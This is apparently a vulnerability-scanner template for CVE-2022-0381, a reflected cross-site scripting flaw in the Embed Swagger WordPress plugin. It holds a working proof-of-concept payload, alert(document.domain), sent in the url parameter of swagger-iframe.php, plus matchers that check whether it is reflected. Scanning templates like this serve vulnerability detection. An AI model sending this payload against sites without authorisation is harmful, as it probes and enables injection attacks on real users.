id: CVE-2022-0381

info:
  name: WordPress Plugin Embed Swagger 1.0.0 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: The Embed Swagger WordPress plugin is vulnerable to Reflected Cross-Site Scripting due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file which allows attackers to inject arbitrary web scripts onto the page, in versions up to and including 1.0.0.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0381
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0381
    - https://gist.github.com/Xib3rR4dAr/4b3ea7960914e23c3a875b973a5b37a3
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-0381
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0381
    cwe-id: CWE-79
  tags: cve,cve2022,swagger,xss,wordpress

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "url: \"xss://\"-alert(document.domain)"